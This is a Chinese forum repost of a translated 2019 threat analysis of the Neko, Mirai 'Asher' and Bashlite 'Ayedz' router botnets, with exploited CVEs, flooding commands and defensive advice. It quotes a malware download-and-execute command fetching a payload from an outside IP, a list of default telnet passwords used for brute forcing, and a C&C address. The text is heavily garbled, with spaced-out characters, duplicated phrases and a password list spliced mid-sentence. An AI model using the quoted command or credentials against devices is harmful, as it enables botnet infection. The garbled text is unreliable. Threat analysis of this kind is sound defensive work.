搜索

[14537] 2019-09-01_三款恶意软件同时目标锁定路由器

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2019-09-01_三款恶意软件同时目标锁定路由器 三 款 恶 意 软 件 同 时 目 标 锁 定 路 由 器 K r i s t o n   F r e e B u f   2 0 1 9 - 0 9 - 0 1 近 期 发 现 了 近 期 发 现 了 3 款 恶 意 软 件 变 种 款 恶 意 软 件 变 种 — — N e k o ， ， M i r a i 和 和 B a s h l i t e 。 在 。 在 2 0 1 9 年 年 7 月 月 2 2 日 ， 我 们 发 现 了 日 ， 我 们 发 现 了 N e k o 僵 尸 网 络 的 恶 僵 尸 网 络 的 恶 意 软 件 样 本 ， 并 马 上 开 始 对 其 进 行 分 析 ， 接 下 来 我 们 又 发 现 了 另 外 一 个 样 本 ， 相 比 之 前 增 加 了 额 外 的 漏 洞 利 用 意 软 件 样 本 ， 并 马 上 开 始 对 其 进 行 分 析 ， 接 下 来 我 们 又 发 现 了 另 外 一 个 样 本 ， 相 比 之 前 增 加 了 额 外 的 漏 洞 利 用 方 法 。 方 法 。 7 月 月 3 0 日 ， 又 出 现 了 一 个 名 为 日 ， 又 出 现 了 一 个 名 为 “ A s h e r ” 的 的 M i r a i 变 种 ， 而 在 这 之 后 ， 又 发 现 了 一 个 名 为 变 种 ， 而 在 这 之 后 ， 又 发 现 了 一 个 名 为 “ A y e d z ” 的 的 B a s h l i t e 变 种 。 列 出 的 这 些 恶 意 软 件 变 种 可 以 将 路 由 器 感 染 为 僵 尸 网 络 中 的 设 备 ， 能 够 发 起 分 布 式 拒 绝 服 务 （ 变 种 。 列 出 的 这 些 恶 意 软 件 变 种 可 以 将 路 由 器 感 染 为 僵 尸 网 络 中 的 设 备 ， 能 够 发 起 分 布 式 拒 绝 服 务 （ D D o S ） ） 攻 击 。 攻 击 。 N e k o 7 月 2 2 日 ， 我 们 的 蜜 罐 检 测 到 一 个 僵 尸 网 络 的 恶 意 软 件 样 本 ， x 8 6 . n e k o （ 被 T r e n d   M i c r o 检 测 为 B a c k d o o r . L i n u x . N E K O . A B ） ， 该 样 本 具 有 弱 口 令 爆 破 的 功 能 ， 之 后 会 执 行 以 下 命 令 ： 我 们 的 研 究 表 明 这 个 僵 尸 网 络 恶 意 软 件 在 多 种 处 理 器 架 构 下 都 有 相 应 版 本 存 在 。 根 据 分 析 ， 我 们 发 现 N e k o 僵 尸 网 络 能 够 执 行 多 条 后 门 指 令 ： 既 能 执 行 s h e l l 命 令 ， 又 能 发 起 U D P 和 U P D - H E X 泛 洪 攻 击 ， 从 而 致 瘫 路 由 器 正 常 处 理 和 响 应 信 息 的 能 力 。 N e k o 还 有 结 束 进 程 （ 程 序 中 的 “ k i l l e r ” 功 能 ） 的 功 能 。 同 时 其 内 部 还 存 有 一 个 可 扩 展 的 “ 死 亡 名 单 ” — — 包 含 其 他 恶 意 软 件 相 关 的 进 程 列 表 ， 如 有 存 在 即 会 结 束 相 关 进 程 。 对 N e k o 僵 尸 网 络 更 深 入 的 代 码 分 析 显 示 它 还 带 有 一 个 能 够 查 找 多 种 漏 洞 利 用 方 式 的 扫 描 器 ， 从 而 使 其 能 够 传 染 到 其 他 有 漏 洞 的 设 备 中 。 1 、 E i r   W A N 端 远 程 命 令 注 入 （ T R - 0 6 4 ） — — E i r   D 1 0 0 0 路 由 器 的 一 个 广 域 网 （ W A N ） 端 R C E 漏 洞 2 、 H N A P   S O A P A c t i o n - H e a d e r   命 令 执 行 （ C V E - 2 0 1 5 - 2 0 5 1 ） — — 由 错 误 处 理 恶 意 H T T P 请 求 造 成 的 多 个 D - L i n k 路 由 器 的 R C E 漏 洞 3 、 华 为 路 由 器 H F G 5 3 2 — — 任 意 命 令 执 行 （ C V E - 2 0 1 7 - 1 7 2 1 5 ） — — 由 验 证 某 个 配 置 文 件 不 当 造 成 的 华 为 H G 5 3 2 上 的 R C E 漏 洞 4 、 G P O N 路 由 器 — — 认 证 绕 过 / 命 令 注 入 （ C V E - 2 0 1 8 - 1 0 5 6 1 ， C V E - 2 0 1 8 - 1 0 5 6 2 ） — — 由 认 证 绕 过 和 命 令 注 入 造 成 的 D A S A N   G P O N 家 用 路 由 器 的 R C E 漏 洞 5 、 L i n k s y s   E 系 列 — — 远 程 代 码 执 行 — — 由 未 经 身 份 认 证 和 操 作 系 统 命 令 注 入 造 成 的 R C E 漏 洞 6 、 M V P o w e r   S h e l l 命 令 执 行 — — 利 用 了 M V P o w e r 数 字 视 频 录 像 机 （ D V R s ） 中 未 经 身 份 认 证 的 R C E 漏 洞 7 、 T h i n k P H P   5 . 0 . 2 3 / 5 . 1 . 3 1   R C E   — — 开 源 w e b 开 发 框 架 T h i n k P H P   5 . 0 . 2 3 / 5 . 1 . 3 1 的 R C E 漏 洞 8 、 R e a l t e k   S D K   –   M i n i i g d   U P n P   S O A P   命 令 执 行 （ C V E - 2 0 1 4 - 8 3 6 1 ） — — 使 用 了 R e a l t e k   S D K 中 的 m i n i i g d 程 序 的 设 备 ， 由 未 经 身 份 认 证 和 操 作 系 统 命 令 注 入 造 成 R C E 漏 洞 除 了 以 上 的 漏 洞 利 用 ， 我 们 还 发 现 N e k o 僵 尸 网 络 同 时 扫 描 了 有 漏 洞 的 A f r i c o 设 备 。 我 们 还 无 法 确 定 N e k o 为 了 扫 描 哪 款 A f r i c o 设 备 ， 同 时 我 们 注 意 到 这 一 扫 描 和 任 何 一 个 漏 洞 利 用 都 没 有 什 么 联 系 。 但 是 ， 我 们 发 现 这 一 漏 洞 的 结 构 和 网 件 D G N 1 0 0 0 / D G N 2 2 0 0 等 D G N 设 备 的 未 认 证 R C E 漏 洞 有 相 似 之 处 。 “ c d   / t m p / ;   w g e t   h x x p : / / 1 8 5 . 2 4 4 . 2 5 . 2 0 0 / b i n s / x 8 6 . n e k o ;   c h m o d   7 7 7   x 8 6 . n e k o ;   . / x 8 6 . n e k o ”
图 1   N e k o 僵 尸 网 络 恶 意 软 件 代 码 显 示 其 是 如 何 扫 描 A f r i c o 设 备 的 7 月 2 9 日 ， 蜜 罐 收 集 到 了 一 个 升 级 的 N e k o 僵 尸 网 络 恶 意 软 件 样 本 （ 检 测 为 B a c k d o o r . L i n u x . N E K O . A C ） 。 这 一 次 ， 文 件 使 用 了 U P X 进 行 加 壳 保 护 ， 并 把 U P X 的 特 征 魔 数 （ U P X ！ ） 进 行 了 修 改 ， 从 而 防 止 被 脱 壳 。 图 2   U P X 加 壳 并 修 改 了 U P X 特 征 魔 数 的 N e k o 僵 尸 网 络 恶 意 软 件 代 码 我 们 发 现 这 个 新 的 样 本 的 扫 描 功 能 更 加 强 大 了 ， 并 且 使 用 了 更 多 的 漏 洞 利 用 方 式 进 行 感 染 传 播 。 有 趣 的 是 ， 其 漏 洞 利 用 列 表 现 已 加 入 网 件 D G N 1 0 0 0 / D G N 2 2 0 0 — — 而 该 漏 洞 结 构 和 之 前 说 的 A f r i c o 扫 描 具 有 相 似 之 处 。 图 3   N e k o 僵 尸 网 络 恶 意 软 件 代 码 显 示 其 是 如 何 扫 描 网 件 D G N 1 0 0 0 / D G N 2 2 0 0 的 新 版 本 的 N e k o 也 对 多 种 C C T V - D V R 设 备 和 网 件 R 7 0 0 0 、 R 6 4 0 0 路 由 器 （ 2 0 1 6 - 6 2 7 7 ） 进 行 了 扫 描 。
图 4 和 图 5   N e k o 僵 尸 网 络 恶 意 软 件 代 码 显 示 其 是 如 何 扫 描 多 种 C C T V - D V R 设 备 和 网 件 R 7 0 0 0 、 R 6 4 0 0 路 由 器 的 N e k o 变 种 对 “ a w s e c ” 也 进 行 扫 描 ， 而 这 一 漏 洞 结 构 和 V a c r o n   N V R   R C E 相 似 。 图 6   N e k o 僵 尸 网 络 恶 意 软 件 代 码 显 示 其 是 如 何 扫 描 “ a w s e c ” 的 此 外 ， 该 N e k o 变 种 还 会 尝 试 扫 描 “ c i s c o ” 和 “ w a p 5 4 g ” 。 但 是 ， 根 据 分 析 ， 这 两 条 命 令 都 无 法 成 功 实 现 漏 洞 利 用 。 “ C i s c o ” 尝 试 使 用 C V E - 2 0 1 8 - 1 5 3 7 9 — — C i s c o   P r i m e   I n f r a s t r u c t u r e 中 的 H T T P   w e b 服 务 器 存 在 目 录 权 限 配 置 不 当 的 问 题 ， 从 而 导 致 R C E 。 但 是 该 样 本 中 的 攻 击 载 荷 未 使 用 正 确 的 U R L 路 径 ， 因 此 漏 洞 利 用 没 有 成 功 。 图 7   N e k o 僵 尸 网 络 恶 意 软 件 代 码 显 示 其 是 如 何 扫 描 “ c i s c o ” 的 “ w a p 5 4 g ” 攻 击 载 荷 的 H T T P 头 和 消 息 体 格 式 也 出 现 了 问 题 ， 可 能 导 致 了 对 L i n k s y s   W A P 5 4 G v 3 远 程 调 试 R o o t   S h e l l 漏 洞 的 利 用 失 败 。
图 8   N e k o 僵 尸 网 络 恶 意 软 件 代 码 显 示 其 是 如 何 扫 描 “ w a p 5 4 g ” 的 M i r a i 变 种 变 种 “ A s h e r ” 7 月 3 0 日 ， 发 现 了 另 一 个 路 由 器 恶 意 软 件 — — M i r a i 变 种 （ 被 T r e n d   M i c r o 检 测 为 B a c k d o o r . L i n u x . M I R A I . V W I R C ） 。 类 似 与 M i r a i ， 该 变 种 会 感 染 带 有 B u s y b o x 的 设 备 ， B u s y b o x 是 一 个 为 资 源 有 限 的 设 备 提 供 的 软 件 集 。 该 变 种 会 首 先 检 查 有 无 B u s y b o x — — 执 行 “ / b i n / b u s y b o x   { a n y   s t r i n g } ” 命 令 ， 如 果 设 备 系 统 给 出 响 应 “ { a n y   s t r i n g }   a p p l e t   n o t   f o u n d ” ， 恶 意 软 件 就 会 继 续 它 的 操 作 。 该 变 种 的 作 者 使 用 { a n y   s t r i n g } 的 部 分 来 给 恶 意 软 件 命 名 ， 在 这 个 样 本 中 ， 使 用 的 是 “ A s h e r ” 。 图 9   检 查 B u s y B o x 是 否 存 在 的 命 令 截 图 “ A s h e r ” 变 种 能 够 通 过 爆 破 以 下 t e l n e t 登 录 口 令 的 方 式 对 路 由 器 进 行 渗 透 ： 我 们 发 现 A s h e r 通 过 扫 描 以 下 路 由 器 漏 洞 进 行 利 用 和 传 播 。 可 以 看 到 它 和 N e k o 存 在 两 个 相 似 的 漏 洞 利 用 ： 图 1 0   A s h e r 样 本 扫 描 的 漏 洞 1 、 G P O N 路 由 器 — — 认 证 绕 过 / 命 令 注 入 （ C V E - 2 0 1 8 - 1 0 5 6 1 ， C V E - 2 0 1 8 - 1 0 5 6 2 ） — — 由 认 证 绕 过 和 命 令 注 入 造 成 的 1 2 3 4 5 2 0 1 1 v s t a 2 6 0 1 h x 4 3 2 1 a d m i n d a e m o n d e f a u l t g u e s t O x h l w S G 8 p a s s p a s s w o r d r o o t S 2 f G q N F s s u p p o r t   D 1 3 h h [ s y n n e t t 0 t a l c 0 n t r 0 l 4 ! t a Z z @ 2 3 4 9 5 8 5 9 t l J w p b o 6 v i z x v x c 3 5 1 1
D A S A N   G P O N 家 用 路 由 器 的 R C E 漏 洞 2 、 M V P o w e r   S h e l l 命 令 执 行 — — 利 用 了 M V P o w e r   D V R   T V - 7 1 0 4 H E   1 . 8 . 4   1 1 5 2 1 5 B 9 数 字 视 频 录 像 机 中 未 经 身 份 认 证 的 R C E 漏 洞 3 、 R e a l t e k   S D K   –   M i n i i g d   U P n P   S O A P   命 令 执 行 （ C V E - 2 0 1 4 - 8 3 6 1 ） — — 使 用 了 R e a l t e k   S D K 中 的 m i n i i g d 程 序 的 设 备 ， 由 未 经 身 份 认 证 和 操 作 系 统 命 令 注 入 造 成 R C E 漏 洞 B a s h l i t e 变 种 变 种 “ A y e d z ” 8 月 6 日 ， 检 测 到 又 一 个 路 由 器 上 的 僵 尸 网 络 恶 意 软 件 样 本 ， 而 这 次 是 一 个 B a s h l i t e 的 变 种 （ 被 T r e n d   M i c r o 检 测 为 B a c k d o o r . L i n u x . B A S H L I T E . S M J C ， B a c k d o o r . L i n u x . B A S H L I T E . S M J C 8 ， 和 B a c k d o o r . L i n u x . B A S H L I T E . S M J C 4 ） ， 基 于 这 个 恶 意 软 件 的 文 件 名 ， 我 们 推 测 它 为 “ A y e d z ”   。 执 行 时 ， A y e d z 会 通 过 4 6 2 1 6 端 口 发 送 有 关 感 染 设 备 的 以 下 信 息 ， 给 I P 地 址 为 1 6 7 [ . ] 7 1 [ . ] 7 [ . ] 2 3 1 的 主 机 ： 图 1 4   B a s h l i t e 变 种 A y e d z 用 来 回 传 信 息 所 使 用 的 命 令 1 、 设 备 — — 如 果 “ / u s r / s b i n / t e l n e t d ” 文 件 存 在 ， 则 其 “ g e t D e v i c e ” 功 能 会 返 回 一 个 “ S S H ” 字 符 串 ， 否 则 会 返 回 一 个 “ U k n o w n   D e v i c e ” 字 符 串 。 2 、 文 件 — — 设 备 是 否 存 在 任 何 下 列 的 文 件 ： / u s r / b i n / p y t h o n / u s r / b i n / p y t h o n 3 / u s r / b i n / p e r l
3 、 L i n u x 发 行 版 本 — — 当 感 染 设 备 的 L i n u x 版 本 时 o p e n S U S E ， R e d   H a t   E n t e r p r i s e L i n u x （ R H E L ） ， C e n t O S ， G e n t o o   L i n u x ， U b u n t u ， D e b i a n ，   或 者 未 知 4 、 端 口 — — 如 果 找 到 了 上 述 的 4 个 文 件 ， 其 “ g e t P o r z ” 功 能 返 回 会 一 个 “ 2 2 ” 字 符 串 ， 否 则 返 回 “ U k n o w n   D e v i c e ” 字 符 串 对 A y e d z 样 本 的 分 析 显 示 ， 它 能 够 运 行 多 个 发 起 D D o S 攻 击 的 后 门 指 令 。 我 们 也 发 现 A y e d z 提 供 了 多 个 攻 击 / 泛 洪 选 项 和 其 他 命 令 ， 例 如 ： 解 决 方 案 解 决 方 案 保 护 路 由 器 免 受 类 似 N e k o ， M i r a i 和 B a s h l i t e 等 恶 意 软 件 的 威 胁 尽 管 厂 商 在 保 护 路 由 器 和 其 他 设 备 的 安 全 性 上 扮 演 着 很 重 要 的 角 色 ， 用 户 和 商 业 用 户 也 需 采 用 良 好 的 安 全 习 惯 来 抵 御 类 似 N e k o ， M i r a i 和 B a s h l i t e 等 恶 意 软 件 ： 1 、 选 择 一 个 会 持 续 给 产 品 打 补 丁 的 值 得 信 赖 的 厂 商 2 、 经 常 升 级 设 备 （ 如 路 由 器 ） 固 件 和 软 件 ， 经 常 更 换 用 来 登 录 这 些 设 备 的 口 令 3 、 使 用 加 密 ， 确 保 设 备 连 接 安 全 4 、 配 置 路 由 器 ， 使 其 更 好 抵 御 攻 击 行 为 5 、 禁 用 设 备 中 过 期 或 不 必 要 的 组 件 ， 仅 使 用 来 自 可 信 源 的 合 法 应 用 6 、 在 家 庭 网 络 和 接 入 的 设 备 中 部 署 提 供 额 外 安 全 保 护 的 工 具 * 参 考 来 源 ： 参 考 来 源 ： t r e n d m i c r o ， 由 ， 由 K r i s t o n 编 译 ， 转 载 请 注 明 来 自 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 精 彩 推 荐 精 彩 推 荐 C L O U D F L A R E   –   绕 过 C l o u d F l a r e 保 护 的 H T T P 泛 洪 C N C   –   设 置 C & C H T T P   –   H T T P   泛 洪 R A I D   –   S T D   +   T C P   泛 洪 S T D   –   S T D   泛 洪 S T O M P   –   S T D   +   U D P   泛 洪 S T O P   –   停 止 僵 尸 行 为 T C P   –   T C P   S Y N   泛 洪 U D P   –   U D P   泛 洪 U P D A T E   – 从 C & C 进 行 更 新

阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理